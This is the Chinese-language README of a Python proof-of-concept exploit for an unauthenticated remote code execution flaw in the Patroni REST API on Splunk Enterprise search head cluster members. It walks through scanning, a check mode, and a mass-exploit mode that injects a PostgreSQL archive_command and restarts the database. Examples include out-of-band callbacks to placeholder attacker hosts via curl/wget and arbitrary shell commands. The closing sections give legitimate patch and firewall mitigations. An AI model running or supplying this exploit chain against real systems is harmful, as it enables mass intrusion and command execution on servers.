针对 CVE-2026-76268 的 Python 3 PoC —— 影响 搜索头集群(SHC)成员 上的 Splunk Enterprise。公告 SVD-2026-1001。
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76268 |
| 公告 | https://advisory.splunk.com/advisories/SVD-2026-1001 |
| 组件 | PostgreSQL sidecar(Storage)→ Patroni REST API |
| 受影响版本 | 10.2.0 – 10.2.6、10.4.0 – 10.4.2 |
| 修复版本 | 10.2.7、10.4.3(及更高版本) |
| 不受影响(本 CVE) | 10.0.x、9.4.x |
| CWE | CWE-306 — 关键功能缺少身份认证 |
| CVSS 3.1 | 9.8 严重 |
| 验证标记 | POCBIT-76268-OK |
| PoCbit | https://pocbit.org/pocs/cve-2026-76268 |
在存在漏洞的 Splunk Enterprise SHC 成员 上,Patroni REST API(Splunk 10.x 引入的 PostgreSQL sidecar 的一部分)接受未经身份认证的状态变更请求。能够通过网络访问 Patroni 监听端口的攻击者可以更改动态集群配置,并通过 archive_command 等 PostgreSQL 参数触发操作系统命令执行(Patroni PATCH /config + POST /restart 链)。
本 PoC 直接与 Patroni 通信(通常为 TCP 8008,或由 Splunk 的 IPC Broker 分配的端口)。它不使用 Splunk Web(8000)或 Splunk 管理端口(8089)。那是另一个攻击面(例如历史上通过 splunkd 代理触发的 sidecar 问题)。
实际影响的前提条件:
[postgres] sidecar 已启用(disabled = true 会移除 Patroni)。cd CVE-2026-76268
pip install -r requirements.txt
requests、urllib3| 模式 | 用途 |
|---|---|
check(默认) | 在常见端口上发现 Patroni;测试未认证的 PATCH /config |
exploit | 运行 Patroni RCE 链(archive_command + 重启) |
| Mass | 使用 --list FILE 配合 -j 线程;写入 JSONL 以及可选的命中/利用列表 |
你必须传入 -t TARGET 或 --list FILE。
-t / --list 中的行)| 格式 | 示例 |
|---|---|
| 仅主机(默认端口扫描) | 192.168.1.50 |
| 主机 + 端口 | 192.168.1.50:8008 |
| 完整 URL | http://10.0.0.5:8008 |
列表文件中的注释:以 # 开头的行会被忽略。
发现 Patroni 并评估未认证的配置更改是否似乎被允许。
python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt
PoC 的功能:
--ports 中的每个端口(默认 8008,8009,8010,18008)上尝试 GET /patroni(或 /)。PATCH /config,请求体为空 JSON,且不带任何凭据。exploitable_candidate: true。常用参数:
| 参数 | 含义 |
|---|---|
--ports | 要扫描的 Patroni 端口,逗号分隔 |
--port | 跳过扫描;仅使用一个端口 |
--timeout | HTTP 超时(秒,默认 20) |
--proxy | 请求使用的 HTTP(S) 代理 |
--output | JSONL 日志(默认 cve_2026_76268_results.jsonl) |
--vuln-list | 制表符分隔的候选列表(默认 hits.txt) |
--quiet | 减少控制台输出 |
--no-color | 纯文本终端 |
退出码: 若 exploitable_candidate 为 true 则返回 0;否则返回 1。
推荐工作流: 批量检查 → 审阅 hits.txt → 仅对已授权主机批量利用。
--mode exploit)执行 Patroni 配置注入链。这会更改目标上正在运行的 sidecar/PostgreSQL 动态配置。
--port)。PATCH /config 返回 401/403 则中止。PATCH /config — 设置 wal_level=replica、archive_mode=always、archive_timeout=1 以及你的 archive_command。POST /restart — 应用待处理的 PostgreSQL 配置。--wait-archive 秒(默认 3);archive_command 在 WAL 归档周期运行时执行(并非立即执行)。# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888
# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5
# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"
# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10
python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888
输出:
--output — 完整 JSONL(若保留默认名称,批量利用默认写入 cve_2026_76268_exploit.jsonl)。--exploited-list — 包含 exploited: true 的行(默认 exploited.txt)。| 标志 | 含义 |
|---|---|
--oob URL | 基础 URL;命令会执行 curl/wget 访问 URL/POCBIT-76268-OK |
--command | 完整的 PostgreSQL archive_command 字符串(覆盖 OOB 默认值) |
--wait-archive | 重启后等待的秒数,之后 PoC 退出 |
--ports / --port | 端口发现或固定 Patroni 端口 |
--tls | 对 Patroni 使用 https://(默认 Splunk sidecar 文档中不常见) |
当 --oob 和 --command 均未设置时的默认命令:
touch /tmp/POCBIT-76268-OK
退出码: 当 PATCH 和重启被接受(exploited: true)时为 0。这表示利用链已投递,而非你的回调或文件证明已经触发。请通过 OOB 或主机上的文件系统检查进行确认。
重要: 如果相同参数被锁定在本地配置中(厂商加固),Patroni 可能会忽略动态更改。在这种情况下,即使在旧版 Splunk 构建上利用也可能失败。
-t 运行)打印到 stdout(格式化 JSON)。批量模式每行写入一个 JSON 对象。
| 字段 | 含义 |
|---|---|
mode | check 或 exploit |
host / target | 规范化后的输入 |
patroni_base | 例如 http://192.168.1.50:8008 |
patroni_port | Patroni 响应的端口 |
patroni_role | 来自 GET /patroni(例如 primary) |
unauth_patch | 检查:PATCH 无需认证即可执行 |
exploitable_candidate | 检查:可能存在漏洞的攻击面 |
exploited | 利用:PATCH + 重启成功 |
patch / restart | HTTP 状态码和响应体预览 |
verify | 提示:OOB 路径或 /tmp/POCBIT-76268-OK |
error | 失败原因(auth_required_patched_or_hardened、no_patroni_on_ports 等) |
pocbit、pocbit_page、verify_marker | PoCbit 元数据 |
| 结果 | 含义 |
|---|---|
patroni_unauth_patch_confirmed | 强检查命中 — 未认证 PATCH 被接受 |
patroni_auth_required | Patroni 要求认证(可能已修补或已加固) |
no_patroni_on_ports | 扫描端口上无 Patroni JSON(主机错误、被防火墙拦截,或非 SHC sidecar) |
exploit_chain_ok | 利用 HTTP 链已完成 |
auth_required_patched_or_hardened | 利用在注入前中止 |
非 Splunk 主机也可能在 8008 端口运行 Patroni — 报告前请务必结合 Splunk 版本和部署角色进行关联分析。
Splunk 文档示例(server.conf):
[ipc_broker]
postgres:patroni:address = 8008
如果未设置,IPC Broker 可能会选择一个随机端口。在服务器上(管理员访问权限):
$SPLUNK_HOME/bin/splunk btool server list ipc_broker --debug
SHC 防火墙文档将 8008 列为存储 sidecar 端口之一,这些端口必须在成员之间开放。
升级至 10.4.3+ 或 10.2.7+。
如果你不使用 Edge Processor、OpAmp 或 SPL2 管道:
# $SPLUNK_HOME/etc/system/local/server.conf
[postgres]
disabled = true
重启 Splunk。
将 Patroni(以及 etcd 2379/2380)限制为仅允许 SHC 对等 IP 访问。
port="8008"
使用 GET /patroni 返回 Patroni JSON(role、state、patroni.version)进行验证。仅凭 Splunk UI 版本并不足够。
仅限授权的安全测试和补丁验证。利用模式会修改数据库 sidecar 配置;仅可在你拥有或获得明确测试许可的系统上使用。
CVE-2026-76268 PoC: Splunk Enterprise SHC Patroni REST unauth RCE — PATCH /config archive_command + POST /restart. Check + mass exploit, OOB POCBIT-76268-OK, CVSS 9.8. https://pocbit.org/pocs/cve-2026-76268